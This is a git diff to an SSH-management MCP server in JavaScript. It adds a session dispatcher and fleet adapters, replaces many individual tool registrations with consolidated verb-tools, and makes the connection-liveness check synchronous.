a/src/dispatchers/ssh-session.js b/src/dispatchers/ssh-session.js new file mode 100644 index 0000000..b7bf745 --- /dev/null +++ b/src/dispatchers/ssh-session.js @@ -0,0 +1,68 @@ +/** + * ssh_session -- v4 fat verb-tool dispatcher. + * + * Collapses ssh_session_start / _send / _list / _close / _replay / _memory. + * start uses the conn ctx kind; the other five take { args } only. + * + * handlers (injected): { start, send, list, close, replay, memory }. + */ + +import { fail, toMcp } from '../structured-result.js'; +import { makeCtx } from './ctx-factory.js'; +import { requireArgs } from './action-validate.js'; + +const REQUIRED = { + start: ['server'], + send: ['session_id', 'command'], + list: [], + close: ['session_id'], + replay: ['session_id'], + memory: ['session_id'], +}; + +export async function handleSshSession({ deps, handlers, args } = {}) { + const a = args || {}; + const { action } = a; + + if (!action) { + return toMcp(fail('ssh_session', 'action is required', { server: a.server ?? null })); + } + if (!Object.prototype.hasOwnProperty.call(REQUIRED, action)) { + return toMcp(fail('ssh_session', `unknown action "${action}"`, { server: a.server ?? null })); + } + + const bad = requireArgs('ssh_session', action, a, REQUIRED); + if (bad) return bad; + + switch (action) { + case 'start': + return handlers.start(makeCtx('conn', deps, { + server: a.server, format: a.format, + })); + + case 'send': + return handlers.send(makeCtx('args', deps, { + session_id: a.session_id, command: a.command, + timeout: a.timeout, format: a.format, + })); + + case 'list': + return handlers.list(makeCtx('args', deps, { format: a.format })); + + case 'close': + return handlers.close(makeCtx('args', deps, { + session_id: a.session_id, format: a.format, + })); + + case 'replay': + return handlers.replay(makeCtx('args', deps, { + session_id: a.session_id, limit: a.limit, format: a.format, + })); + + case 'memory': + default: + return handlers.memory(makeCtx('args', deps, { + session_id: a.session_id, format: a.format, + })); + } +} diff --git a/src/fleet-adapters.js b/src/fleet-adapters.js new file mode 100644 index 0000000..1b274e9 --- /dev/null +++ b/src/fleet-adapters.js @@ -0,0 +1,250 @@ +/** + * ssh_fleet action bodies. Lifted out of index.js inline closures so the + * ssh_fleet dispatcher can wire them as a handlers object. Each adapter takes + * { args, deps } and returns an MCP { content, isError? } response. deps + * carries the callables/maps that were closed over in index.js. + */ + +function mcp(text, isError = false) { + return { content: [{ type: 'text', text }], isError }; +} + +/** ssh_list_servers body. */ +export async function fleetServers({ deps }) { + const servers = deps.loadServerConfig(); + const info = Object.entries(servers).map(([name, c]) => ({ + name, host: c.host, user: c.user, port: c.port || '22', + auth: c.password ? 'password' : 'key', + defaultDir: c.default_dir || '', description: c.description || '', + })); + return mcp(JSON.stringify(info, null, 2)); +} + +/** ssh_group_manage body. v4 op -> original action enum. */ +export async function fleetGroups({ args, deps }) { + const { op, name, members, description } = args || {}; + try { + let result; + let output = ''; + switch (op) { + case 'add': + if (!name) throw new Error('group name required'); + result = deps.createGroup(name, members || [], { description }); + output = `[ok] Group '${name}' created\nServers: ${result.servers.join(', ') || 'none'}`; + break; + case 'update': + if (!name) throw new Error('group name required'); + if (members && members.length) { + result = deps.addServersToGroup(name, members); + output = `[ok] Group '${name}' members: ${result.servers.join(', ')}`; + } else { + result = deps.updateGroup(name, { description }); + output = `[ok] Group '${name}' updated`; + } + break; + case 'remove': + if (!name) throw new Error('group name required'); + if (members && members.length) { + result = deps.removeServersFromGroup(name, members); + output = `[ok] Group '${name}' members: ${result.servers.join(', ') || 'none'}`; + } else { + deps.deleteGroup(name); + output = `[ok] Group '${name}' deleted`; + } + break; + case 'list': + default: { + const groups = deps.listGroups(); + output = '[list] Server Groups\n' + groups.map(g => + ` ${g.name} (${g.serverCount} servers): ${g.servers.join(', ') || 'none'}`).join('\n'); + break; + } + } + return mcp(output); + } catch (e) { + return mcp(`[err] Group operation failed: ${e.message}`, true); + } +} + +/** ssh_alias body. */ +export async function fleetAliases({ args, deps }) { + const { op, name, target } = args || {}; + try { + switch (op) { + case 'add': { + if (!name || !target) throw new Error('alias name and target required'); + const servers = deps.loadServerConfig(); + const resolved = deps.resolveServerName(target, servers); + if (!resolved) throw new Error(`Server "${target}" not found`); + deps.addAlias(name, resolved); + return mcp(`[ok] Alias created: ${name} -> ${resolved}`); + } + case 'remove': + if (!name) throw new Error('alias name required'); + deps.removeAlias(name); + return mcp(`[ok] Alias removed: ${name}`); + case 'list': + default: { + const aliases = deps.listAliases(); + const servers = deps.loadServerConfig(); + const text = aliases.map(({ alias, target: t }) => + ` ${alias} -> ${t} (${servers[t]?.host || 'unknown'})`).join('\n'); + return mcp(aliases.length ? `[log] Server aliases:\n${text}` : '[log] No aliases configured'); + } + } + } catch (e) { + return mcp(`[err] Alias operation failed: ${e.message}`, true); + } +} + +/** ssh_command_alias body. v4 op -> add/remove/list/suggest. */ +export async function fleetCommandAlias({ args, deps }) { + const { op, alias, command } = args || {}; + try { + switch (op) { + case 'add': { + if (!alias || !command) throw new Error('alias and command required for add'); + deps.addCommandAlias(alias, command); + return mcp(`[ok] Command alias created: ${alias} -> ${command}`); + } + case 'remove': + if (!alias) throw new Error('alias required for remove'); + deps.removeCommandAlias(alias); + return mcp(`[ok] Command alias removed: ${alias}`); + case 'suggest': { + if (!command) throw new Error('command search term required for suggest'); + const suggestions = deps.suggestAliases(command); + const text = suggestions.map(({ alias: al, command: c }) => ` ${al} -> ${c}`).join('\n'); + return mcp(suggestions.length + ? `[tip] Suggested aliases for "${command}":\n${text}` + : `[tip] No aliases found matching "${command}"`); + } + case 'list': + default: { + const aliases = deps.listCommandAliases(); + const text = aliases.map(({ alias: al, command: c, isFromProfile, isCustom }) => + ` ${al} -> ${c}${isFromProfile ? ' (profile)' : ''}${isCustom ? ' (custom)' : ''}`).join('\n'); + return mcp(aliases.length + ? `[log] Command aliases:\n${text}` + : '[log] No command aliases configured'); + } + } + } catch (e) { + return mcp(`[err] Command alias operation failed: ${e.message}`, true); + } +} + +/** ssh_profile body. */ +export async function fleetProfiles({ args, deps }) { + const { op, name } = args || {}; + try { + switch (op) { + case 'update': { + if (!name) throw new Error('profile name required'); + if (!deps.setActiveProfile(name)) throw new Error(`Failed to switch to profile: ${name}`); + return mcp(`[ok] Switched to profile: ${name}\n[warn] Restart Claude Code to apply`); + } + case 'list': + default: { + const profiles = deps.listProfiles(); + const current = deps.getActiveProfileName(); + const text = profiles.map(p => + ` ${p.name}: ${p.description} (${p.aliasCount} aliases, ${p.hookCount} hooks)`).join('\n'); + return mcp(profiles.length + ? `[docs] Profiles (current: ${current}):\n${text}` + : '[docs] No profiles found'); + } + } + } catch (e) { + return mcp(`[err] Profile operation failed: ${e.message}`, true); + } +} + +/** ssh_hooks body. */ +export async function fleetHooks({ args, deps }) { + const { op, name } = args || {}; + try { + switch (op) { + case 'add': + case 'update': + if (!name) throw new Error('hook name required'); + deps.toggleHook(name, true); + return mcp(`[ok] Hook enabled: ${name}`); + case 'remove': + if (!name) throw new Error('hook name required'); + deps.toggleHook(name, false); + return mcp(`[ok] Hook disabled: ${name}`); + case 'list': + default: { + const hooks = deps.listHooks(); + const text = hooks.map(({ name: n, enabled, description, actionCount }) => + ` ${enabled ? '[ok]' : '[err]'} ${n}: ${description} (${actionCount} actions)`).join('\n'); + return mcp(hooks.length ? `[hook] Hooks:\n${text}` : '[hook] No hooks configured'); + } + } + } catch (e) { + return mcp(`[err] Hook operation failed: ${e.message}`, true); + } +} + +/** ssh_history body. */ +export async function fleetHistory({ args, deps }) { + const { limit = 20, server, search } = args || {}; + try { + let history = deps.logger.getHistory(limit * 2); + if (server) history = history.filter(h => h.server?.toLowerCase().includes(server.toLowerCase())); + if (search) history = history.filter(h => h.command?.toLowerCase().includes(search.toLowerCase())); + history = history.slice(-limit); + if (history.length === 0) return mcp('[log] No commands found matching the criteria.'); + const text = history.map((e, i) => + `${history.length - i}. ${e.success ? '[ok]' : '[err]'} ${e.server || 'unknown'}: ` + + `${(e.command || 'N/A').substring(0, 100)}`).join('\n'); + return mcp(`[log] SSH Command History (last ${history.length})\n${text}`); + } catch (e) { + return mcp(`[err] Error retrieving history: ${e.message}`, true); + } +} + +/** ssh_connection_status body. */ +export async function fleetConnections({ args, deps }) { + const { op = 'status', server } = args || {}; + try { + switch (op) { + case 'reconnect': { + if (!server) throw new Error('server required for reconnect'); + const n = server.toLowerCase(); + if (deps.connections.has(n)) deps.closeConnection(n); + await deps.getConnection(server); + return mcp(`[recycle] Reconnected to ${server}`); + } + case 'disconnect': + if (!server) throw new Error('server required for disconnect'); + deps.closeConnection(server); + return mcp(`[conn] Disconnected from ${server}`); + case 'cleanup': { + const before = deps.connections.size; + deps.cleanupOldConnections(); + // Real on-wire probe -- isConnectionValid is now a synchronous socket + // check that would call a half-open dead connection Active. + for (const [n, ssh] of deps.connections.entries()) { + if (!(await ssh.ping())) deps.closeConnection(n); + } + return mcp(`[clean] ${before - deps.connections.size} closed, ${deps.connections.size} active`); + } + case 'status': + default: { + const now = Date.now(); + const rows = []; + for (const [name, ssh] of deps.connections.entries()) { + const age = Math.floor((now - deps.connectionTimestamps.get(name)) / 60000); + // Real on-wire probe for this diagnostic view (see cleanup note). + const valid = await ssh.ping(); + rows.push(` ${name}: ${valid ? '[ok] Active' : '[err] Dead'} (age ${age}m)`); + } + return mcp(`[conn] Connection Pool:\n${rows.join('\n') || ' No active connections'}`); + } + } + } catch (e) { + return mcp(`[err] Connection management failed: ${e.message}`, true); + } +} diff --git a/src/index.js b/src/index.js index 575899b..a87ec13 100755 --- a/src/index.js +++ b/src/index.js @@ -10,11 +10,6 @@ import path from 'path'; import os from 'os'; import { fileURLToPath } from 'url'; import { configLoader } from './config-loader.js'; -import { - getTempFilename, - buildDeploymentStrategy, - detectDeploymentNeeds -} from './deploy-helper.js'; import { resolveServerName, addAlias, @@ -22,7 +17,6 @@ import { listAliases } from './server-aliases.js'; import { - expandCommandAlias, addCommandAlias, removeCommandAlias, listCommandAliases, @@ -52,6 +46,7 @@ import { } from './server-groups.js'; import { loadToolConfig, isToolEnabled } from './tool-config-manager.js'; import { withAnnotations } from './tool-annotations.js'; +import { V4_TOOL_DESCRIPTIONS } from './tool-descriptions.js'; // Modularized tool handlers (src/tools/*.js) -- 10/10 "gamechanger" versions import { handleSshExecute, handleSshExecuteSudo, handleSshExecuteGroup } from './tools/exec-tools.js'; @@ -79,6 +74,25 @@ import { handleSshDocker } from './tools/docker-tools.js'; import { handleSshPortTest } from './tools/port-test-tools.js'; import { handleSshPlan } from './tools/plan-tools.js'; +// v4 dispatcher facade -- 13 fat verb-tools over the handlers above. +import { handleSshRun } from './dispatchers/ssh-run.js'; +import { handleSshFind } from './dispatchers/ssh-find.js'; +import { handleSshFile } from './dispatchers/ssh-file.js'; +import { handleSshLogs } from './dispatchers/ssh-logs.js'; +import { handleSshService } from './dispatchers/ssh-service.js'; +import { handleSshHealth } from './dispatchers/ssh-health.js'; +import { handleSshDb } from './dispatchers/ssh-db.js'; +import { handleSshBackup } from './dispatchers/ssh-backup.js'; +import { handleSshSession } from './dispatchers/ssh-session.js'; +import { handleSshNet } from './dispatchers/ssh-net.js'; +import { handleSshDockerTool } from './dispatchers/ssh-docker.js'; +import { handleSshFleet } from './dispatchers/ssh-fleet.js'; +import { handleSshPlanTool } from './dispatchers/ssh-plan.js'; +import { + fleetServers, fleetGroups, fleetAliases, fleetCommandAlias, fleetProfiles, + fleetHooks, fleetHistory, fleetConnections, +} from './fleet-adapters.js'; + const __filename = fileURLToPath(import.meta.url); const __dirname = path.dirname(__filename); @@ -226,10 +240,13 @@ async function execCommandWithTimeout(ssh, command, options = {}, timeoutMs = 30 } } -// Check if a connection is still valid -async function isConnectionValid(ssh) { +// Synchronous pool-liveness check. No network: a reused connection must not +// pay an echo round-trip per command. A genuinely dead socket is caught when +// the next real command fails, and getConnection reconnects then. ssh.ping() +// is retained on SSHManager for explicit opt-in probes (ssh_health etc.). +function isConnectionValid(ssh) { try { - return await ssh.ping(); + return typeof ssh.isAlive === 'function' ? ssh.isAlive() : false; } catch (error) { logger.debug('Connection validation failed', { error: error.message }); return false; @@ -246,7 +263,7 @@ function setupKeepalive(serverName, ssh) { // Set up new keepalive interval const interval = setInterval(async () => { try { - const isValid = await isConnectionValid(ssh); + const isValid = isConnectionValid(ssh); if (!isValid) { logger.warn(`Connection to ${serverName} lost, will reconnect on next use`); closeConnection(serverName); @@ -327,7 +344,7 @@ async function getConnection(serverName) { const existingSSH = connections.get(normalizedName); // Verify the connection is still valid - const isValid = await isConnectionValid(existingSSH); + const isValid = isConnectionValid(existingSSH); if (isValid) { // Update timestamp and return existing connection @@ -453,1792 +470,414 @@ function getServerConfigByName(serverName) { return servers[resolved]; } -registerToolConditional( - 'ssh_execute', - { - description: 'Execute command on remote SSH server (streaming, UTF-8 safe, ANSI-clean markdown)', - inputSchema: { - server: z.string().describe('Server name from configuration'), - // Cap at 512 KB -- keeps us well under every UNIX ARG_MAX (typical 128KB-2MB) - // even after shQuote expansion, which can ~2x the size for quote-heavy input. - command: z.string().min(1).max(524_288).describe('Command to execute (max 512 KB)'), - cwd: z.string().optional().describe('Working directory (uses default_dir if configured)'), - timeout: z.number().optional().describe('Command timeout in ms (default 120000, max 300000)'), - format: z.enum(['markdown', 'json']).optional().describe('Output format') - } - }, - async (args) => { - const cfg = getServerConfigByName(args.server) || {}; - return handleSshExecute({ - getConnection, - args: { - ...args, - command: expandCommandAlias(args.command), - cwd: args.cwd || cfg.default_dir, - timeoutMs: args.timeout, - }, - }); - } -); - -registerToolConditional( - 'ssh_upload', - { - description: 'Upload file to remote SSH server (sha256-verified, preview-capable)', - inputSchema: { - server: z.string().describe('Server name'), - localPath: z.string().optional().describe('Local file path (alias for local_path)'), - remotePath: z.string().optional().describe('Remote destination path (alias for remote_path)'), - local_path: z.string().optional().describe('Local file path'), - remote_path: z.string().optional().describe('Remote destination path'), - preview: z.boolean().optional().describe('Show plan without uploading'), - format: z.enum(['markdown', 'json']).optional().describe('Output format') - } - }, - async (args) => handleSshUpload({ - getConnection, - args: { - ...args, - local_path: args.local_path || args.localPath, - remote_path: args.remote_path || args.remotePath, - } - }) -); - -registerToolConditional( - 'ssh_download', - { - description: 'Download file from remote SSH server (sha256-verified)', - inputSchema: { - server: z.string().describe('Server name'), - remotePath: z.string().optional().describe('Remote file path (alias for remote_path)'), - localPath: z.string().optional().describe('Local destination path (alias for local_path)'), - remote_path: z.string().optional().describe('Remote file path'), - local_path: z.string().optional().describe('Local destination path'), - preview: z.boolean().optional().describe('Show plan without downloading'), - format: z.enum(['markdown', 'json']).optional().describe('Output format') - } - }, - async (args) => handleSshDownload({ - getConnection, - args: { - ...args, - local_path: args.local_path || args.localPath, - remote_path: args.remote_path || args.remotePath, - } - }) -); - -registerToolConditional( - 'ssh_sync', - { - description: 'Synchronize files/folders between local and remote via rsync (preview-capable)', - inputSchema: { - server: z.string().describe('Server name from configuration'), - source: z.string().describe('Source path (use "local:" or "remote:" prefix)'), - destination: z.string().describe('Destination path (use "local:" or "remote:" prefix)'), - exclude: z.array(z.string()).optional().describe('Patterns to exclude from sync'), - dryRun: z.boolean().optional().describe('Perform dry run without actual changes'), - delete: z.boolean().optional().describe('Delete files in destination not in source'), - compress: z.boolean().optional().describe('Compress during transfer'), - verbose: z.boolean().optional().describe('Show detailed progress'), - checksum: z.boolean().optional().describe('Use checksum instead of timestamp'), - timeout: z.number().optional().describe('Timeout in milliseconds'), - preview: z.boolean().optional().describe('Show plan without syncing'), - format: z.enum(['markdown', 'json']).optional().describe('Output format') - } - }, - async (args) => handleSshSync({ - getConnection, - getServerConfig: getServerConfigByName, - args: { ...args, dry_run: args.dry_run ?? args.dryRun } - }) -); - -registerToolConditional( - 'ssh_tail', - { - description: 'Tail remote log file once (last N lines, optional grep). For live streaming use ssh_tail_start.', - inputSchema: { - server: z.string().describe('Server name from configuration'), - file: z.string().describe('Path to the log file to tail'), - lines: z.number().optional().describe('Number of trailing lines to return (default: 50)'), - grep: z.string().optional().describe('Extended-regex filter applied before output truncation'), - timeout: z.number().optional().describe('Command timeout in ms (default 120000)'), - maxLen: z.number().optional().describe('Output truncation cap in chars (default 10000)'), - format: z.enum(['markdown', 'json']).optional().describe('Output format') - } - }, - async (args) => handleSshTail({ getConnection, args }) -); - -registerToolConditional( - 'ssh_monitor', - { - description: 'Point-in-time system snapshot: cpu, memory, disk, network, process, or full overview', - inputSchema: { - server: z.string().describe('Server name from configuration'), - type: z.enum(['overview', 'cpu', 'memory', 'disk', 'network', 'process']).optional().describe('Which subsystem to snapshot (default: overview)'), - format: z.enum(['markdown', 'json']).optional().describe('Output format') - } - }, - async (args) => handleSshMonitor({ getConnection, args }) -); - -registerToolConditional( - 'ssh_history', - { - description: 'View SSH command history', - inputSchema: { - limit: z.number().optional().describe('Number of commands to show (default: 20)'), - server: z.string().optional().describe('Filter by server name'), - success: z.boolean().optional().describe('Filter by success/failure'), - search: z.string().optional().describe('Search in commands') - } - }, - async ({ limit = 20, server, success, search }) => { +// --- v4 fat verb-tool registration ---------------------------------------- +// Shared schema fragments. Every action-scoped arg is optional; each +// dispatcher enforces its per-action required-arg map and returns a +// structured fail() naming any missing args. +const FORMAT = z.enum(['compact', 'json', 'markdown']).optional() + .describe('Output format (default compact)'); +const RAW = z.boolean().optional() + .describe('Disable output compression and truncation'); + +// deps bundle handed to every dispatcher. +const DEPS = { + getConnection, + getServerConfig: getServerConfigByName, + resolveGroup: (groupName) => { + // getGroup throws "Group 'X' not found" on a bad name → null so the + // handler renders a clean "group has no servers" fail, not a raw crash. try { - // Get history from logger - let history = logger.getHistory(limit * 2); // Get more to account for filtering - - // Apply filters - if (server) { - history = history.filter(h => h.server?.toLowerCase().includes(server.toLowerCase())); - } - - if (success !== undefined) { - history = history.filter(h => h.success === success); - } - - if (search) { - history = history.filter(h => h.command?.toLowerCase().includes(search.toLowerCase())); - } - - // Limit results - history = history.slice(-limit); - - // Format output - let output = '[log] SSH Command History\n'; - output += `Showing last ${history.length} commands`; - - const filters = []; - if (server) filters.push(`server: ${server}`); - if (success !== undefined) filters.push(success ? 'successful only' : 'failed only'); - if (search) filters.push(`search: ${search}`); - - if (filters.length > 0) { - output += ` (filtered: ${filters.join(', ')})`; - } - - output += '\n' + '-'.repeat(60) + '\n\n'; - - if (history.length === 0) { - output += 'No commands found matching the criteria.\n'; - } else { - history.forEach((entry, index) => { - const time = new Date(entry.timestamp).toLocaleString(); - const status = entry.success ? '[ok]' : '[err]'; - const duration = entry.duration || 'N/A'; - - output += `${history.length - index}. ${status} [${time}]\n`; - output += ` Server: ${entry.server || 'unknown'}\n`; - output += ` Command: ${entry.command?.substring(0, 100) || 'N/A'}`; - if (entry.command && entry.command.length > 100) { - output += '...'; - } - output += '\n'; - output += ` Duration: ${duration}`; - - if (!entry.success && entry.error) { - output += `\n Error: ${entry.error}`; - } - - output += '\n\n'; - }); - } - - output += '-'.repeat(60) + '\n'; - output += `Total commands in history: ${logger.getHistory(1000).length}\n`; - - logger.info('Command history retrieved', { - limit, - filters: filters.length, - results: history.length - }); - - return { - content: [ - { - type: 'text', - text: output - } - ] - }; - } catch (error) { - return { - content: [ - { - type: 'text', - text: `[err] Error retrieving history: ${error.message}` - } - ], - isError: true - }; - } - } -); - -// SSH Session Management Tools - -registerToolConditional( - 'ssh_session_start', - { - description: 'Start a persistent SSH session (marker-prompt protocol, typed state)', - inputSchema: { - server: z.string().describe('Server name from configuration'), - name: z.string().optional().describe('Optional session name'), - format: z.enum(['markdown', 'json']).optional().describe('Output format') - } - }, - async (args) => handleSshSessionStartNew({ getConnection, args }) -); - -registerToolConditional( - 'ssh_session_send', - { - description: 'Send a command to an existing SSH session (marker-aware, UTF-8 safe)', - inputSchema: { - session: z.string().optional().describe('Session ID (alias for session_id)'), - session_id: z.string().optional().describe('Session ID'), - command: z.string().describe('Command to execute'), - timeout: z.number().optional().describe('Command timeout in ms'), - format: z.enum(['markdown', 'json']).optional().describe('Output format') - } - }, - async (args) => handleSshSessionSendNew({ - args: { ...args, session_id: args.session_id || args.session, timeoutMs: args.timeout } - }) -); - -registerToolConditional( - 'ssh_session_list', - { - description: 'List all active SSH sessions (typed state info)', - inputSchema: { - server: z.string().optional().describe('Filter by server name'), - format: z.enum(['markdown', 'json']).optional().describe('Output format') - } - }, - async (args) => handleSshSessionListNew({ args }) -); - -registerToolConditional( - 'ssh_session_close', - { - description: 'Close an SSH session (idempotent)', - inputSchema: { - session: z.string().optional().describe('Session ID or "all" (alias for session_id)'), - session_id: z.string().optional().describe('Session ID or "all"'), - format: z.enum(['markdown', 'json']).optional().describe('Output format') - } - }, - async (args) => handleSshSessionCloseNew({ - args: { ...args, session_id: args.session_id || args.session } - }) -); - -// Server Group Management Tools - -registerToolConditional( - 'ssh_execute_group', - { - description: 'Execute command on a group of servers (bounded concurrency, typed per-server results)', - inputSchema: { - group: z.string().describe('Group name'), - command: z.string().describe('Command to execute'), - strategy: z.enum(['parallel', 'sequential', 'rolling']).optional().describe('Execution strategy'), - concurrency: z.number().optional().describe('Max parallel connections'), - delay: z.number().optional().describe('Delay between servers in ms'), - stopOnError: z.boolean().optional().describe('Stop on first error'), - cwd: z.string().optional().describe('Working directory'), - format: z.enum(['markdown', 'json']).optional().describe('Output format') - } - }, - async (args) => handleSshExecuteGroup({ - getConnection, - resolveGroup: (groupName) => { const g = getGroup(groupName); - if (!g) return null; - return { name: g.name, servers: g.servers }; - }, - args: { ...args, stop_on_error: args.stop_on_error ?? args.stopOnError }, - }) -); - -registerToolConditional( - 'ssh_group_manage', - { - description: 'Manage server groups (create, update, delete, list)', - inputSchema: { - action: z.enum(['create', 'update', 'delete', 'list', 'add-servers', 'remove-servers']).describe('Action to perform'), - name: z.string().optional().describe('Group name'), - servers: z.array(z.string()).optional().describe('Server names'), - description: z.string().optional().describe('Group description'), - strategy: z.enum(['parallel', 'sequential', 'rolling']).optional().describe('Execution strategy'), - delay: z.number().optional().describe('Delay between servers in ms'), - stopOnError: z.boolean().optional().describe('Stop on error flag') - } - }, - async ({ action, name, servers, description, strategy, delay, stopOnError }) => { - try { - let result; - let output = ''; - - switch (action) { - case 'create': - if (!name) throw new Error('Group name required for create'); - result = createGroup(name, servers || [], { - description, - strategy, - delay, - stopOnError - }); - output = `[ok] Group '${name}' created\n`; - output += `Servers: ${result.servers.join(', ') || 'none'}\n`; - output += `Strategy: ${result.strategy}\n`; - break; - - case 'update': - if (!name) throw new Error('Group name required for update'); - result = updateGroup(name, { - servers, - description, - strategy, - delay, - stopOnError - }); - output = `[ok] Group '${name}' updated\n`; - output += `Servers: ${result.servers.join(', ')}\n`; - break; - - case 'delete': - if (!name) throw new Error('Group name required for delete'); - deleteGroup(name); - output = `[ok] Group '${name}' deleted`; - break; - - case 'add-servers': - if (!name) throw new Error('Group name required'); - if (!servers || servers.length === 0) throw new Error('Servers required'); - result = addServersToGroup(name, servers); - output = `[ok] Added ${servers.length} servers to '${name}'\n`; - output += `Total servers: ${result.servers.length}\n`; - output += `Members: ${result.servers.join(', ')}`; - break; - - case 'remove-servers': - if (!name) throw new Error('Group name required'); - if (!servers || servers.length === 0) throw new Error('Servers required'); - result = removeServersFromGroup(name, servers); - output = `[ok] Removed ${servers.length} servers from '${name}'\n`; - output += `Remaining: ${result.servers.length}\n`; - output += `Members: ${result.servers.join(', ') || 'none'}`; - break; - - case 'list': { - const groups = listGroups(); - output = '[list] Server Groups\n'; - output += '-'.repeat(60) + '\n\n'; - - groups.forEach(group => { - output += `[dir] ${group.name}`; - if (group.dynamic) output += ' (dynamic)'; - output += '\n'; - output += ` Description: ${group.description}\n`; - output += ` Servers: ${group.serverCount} servers\n`; - if (group.servers.length > 0) { - output += ` Members: ${group.servers.slice(0, 5).join(', ')}`; - if (group.servers.length > 5) output += ` ... +${group.servers.length - 5} more`; - output += '\n'; - } - output += ` Strategy: ${group.strategy || 'parallel'}\n`; - if (group.delay) output += ` Delay: ${group.delay}ms\n`; - if (group.stopOnError) output += ' Stop on error: yes\n'; - output += '\n'; - }); - - output += '-'.repeat(60) + '\n'; - output += `Total groups: ${groups.length}`; - break; - } - - default: - throw new Error(`Unknown action: ${action}`); - } - - logger.info('Group management action completed', { - action, - name, - servers: servers?.length - }); - - return { - content: [ - { - type: 'text', - text: output - } - ] - }; - } catch (error) { - logger.error('Group management failed', { - action, - name, - error: error.message - }); - - return { - content: [ - { - type: 'text', - text: `[err] Group management error: ${error.message}` - } - ], - isError: true - }; - } - } -); - -registerToolConditional( - 'ssh_list_servers', - { - description: 'List all configured SSH servers', - inputSchema: {} - }, - async () => { - const servers = loadServerConfig(); - const serverInfo = Object.entries(servers).map(([name, config]) => ({ - name, - host: config.host, - user: config.user, - port: config.port || '22', - auth: config.password ? 'password' : 'key', - defaultDir: config.default_dir || '', - description: config.description || '' - })); - - return { - content: [ - { - type: 'text', - text: JSON.stringify(serverInfo, null, 2), - }, - ], - }; - } -); - -// New deploy tool for automated deployment -registerToolConditional( - 'ssh_deploy', - { - description: 'Deploy files to remote server with automatic permission handling', - inputSchema: { - server: z.string().describe('Server name or alias'), - files: z.array(z.object({ - local: z.string().describe('Local file path'), - remote: z.string().describe('Remote file path') - })).describe('Array of files to deploy'), - options: z.object({ - owner: z.string().optional().describe('Set file owner (e.g., "user:group")'), - permissions: z.string().optional().describe('Set file permissions (e.g., "644")'), - backup: z.boolean().optional().default(true).describe('Backup existing files'), - restart: z.string().optional().describe('Service to restart after deployment'), - sudoPassword: z.string().optional().describe('Sudo password if needed (use with caution)') - }).optional().describe('Deployment options') - } - }, - async ({ server, files, options = {} }) => { - try { - const ssh = await getConnection(server); - - // Execute pre-deploy hook - await executeHook('pre-deploy', { - server: server, - files: files.map(f => f.local).join(', ') - }); - - const deployments = []; - const results = []; - - // Prepare deployment for each file - for (const file of files) { - const tempFile = getTempFilename(path.basename(file.local)); - const needs = detectDeploymentNeeds(file.remote); - - // Merge detected needs with user options - const deployOptions = { - ...options, - owner: options.owner || needs.suggestedOwner, - permissions: options.permissions || needs.suggestedPerms - }; - - const strategy = buildDeploymentStrategy(file.remote, deployOptions); - - // Upload file to temp location first - await ssh.putFile(file.local, tempFile); - results.push(`[ok] Uploaded ${path.basename(file.local)} to temp location`); - - // Execute deployment strategy - const deployServers = loadServerConfig(); - const deployServerConfig = deployServers[server.toLowerCase()]; - for (const step of strategy.steps) { - const command = step.command.replace('{{tempFile}}', tempFile); - - const result = await execCommandWithTimeout(ssh, command, { platform: deployServerConfig?.platform }, 15000); - - if (result.code !== 0 && step.type !== 'backup') { - throw new Error(`${step.type} failed: ${result.stderr}`); - } - - if (step.type !== 'cleanup') { - results.push(`[ok] ${step.type}: ${file.remote}`); - } - } - - deployments.push({ - local: file.local, - remote: file.remote, - tempFile, - strategy - }); - } - - // Execute post-deploy hook - await executeHook('post-deploy', { - server: server, - files: files.map(f => f.remote).join(', ') - }); - - return { - content: [ - { - type: 'text', - text: `[run] Deployment successful!\n\n${results.join('\n')}`, - }, - ], - }; - } catch (error) { - return { - content: [ - { - type: 'text', - text: `[err] Deployment failed: ${error.message}`, - }, - ], - isError: true, - }; - } - } -); - -// Execute command with sudo support (password via stdin, never argv) -registerToolConditional( - 'ssh_execute_sudo', - { - description: 'Execute command with sudo (password via stdin, never argv-leaked)', - inputSchema: { - server: z.string().describe('Server name or alias'), - command: z.string().describe('Command to execute with sudo'), - password: z.string().optional().describe('Sudo password (streamed via stdin)'), - cwd: z.string().optional().describe('Working directory'), - timeout: z.number().optional().describe('Command timeout in ms'), - format: z.enum(['markdown', 'json']).optional().describe('Output format') - } - }, - async (args) => handleSshExecuteSudo({ - getConnection, - getServerConfig: getServerConfigByName, - args: { ...args, timeoutMs: args.timeout } - }) -); - -// Manage command aliases -registerToolConditional( - 'ssh_command_alias', - { - description: 'Manage command aliases for frequently used commands', - inputSchema: { - action: z.enum(['add', 'remove', 'list', 'suggest']).describe('Action to perform'), - alias: z.string().optional().describe('Alias name (for add/remove)'), - command: z.string().optional().describe('Command to alias (for add) or search term (for suggest)') - } - }, - async ({ action, alias, command }) => { - try { - switch (action) { - case 'add': { - if (!alias || !command) { - throw new Error('Both alias and command are required for add action'); - } - - addCommandAlias(alias, command); - return { - content: [ - { - type: 'text', - text: `[ok] Command alias created: ${alias} -> ${command}`, - }, - ], - }; - } - - case 'remove': { - if (!alias) { - throw new Error('Alias is required for remove action'); - } - - removeCommandAlias(alias); - return { - content: [ - { - type: 'text', - text: `[ok] Command alias removed: ${alias}`, - }, - ], - }; - } - - case 'list': { - const aliases = listCommandAliases(); - - const aliasInfo = aliases.map(({ alias, command, isFromProfile, isCustom }) => - ` ${alias} -> ${command}${isFromProfile ? ' (profile)' : ''}${isCustom ? ' (custom)' : ''}` - ).join('\n'); - - return { - content: [ - { - type: 'text', - text: aliases.length > 0 ? - `[log] Command aliases:\n${aliasInfo}` : - '[log] No command aliases configured', - }, - ], - }; - } - - case 'suggest': { - if (!command) { - throw new Error('Command search term is required for suggest action'); - } - - const suggestions = suggestAliases(command); - - const suggestionInfo = suggestions.map(({ alias, command }) => - ` ${alias} -> ${command}` - ).join('\n'); - - return { - content: [ - { - type: 'text', - text: suggestions.length > 0 ? - `[tip] Suggested aliases for "${command}":\n${suggestionInfo}` : - `[tip] No aliases found matching "${command}"`, - }, - ], - }; - } - } - } catch (error) { - return { - content: [ - { - type: 'text', - text: `[err] Command alias operation failed: ${error.message}`, - }, - ], - isError: true, - }; - } - } -); - -// Manage hooks -registerToolConditional( - 'ssh_hooks', - { - description: 'Manage automation hooks for SSH operations', - inputSchema: { - action: z.enum(['list', 'enable', 'disable', 'status']).describe('Action to perform'), - hook: z.string().optional().describe('Hook name (for enable/disable)') - } - }, - async ({ action, hook }) => { - try { - switch (action) { - case 'list': { - const hooks = listHooks(); - - const hooksInfo = hooks.map(({ name, enabled, description, actionCount }) => - ` ${enabled ? '[ok]' : '[err]'} ${name}: 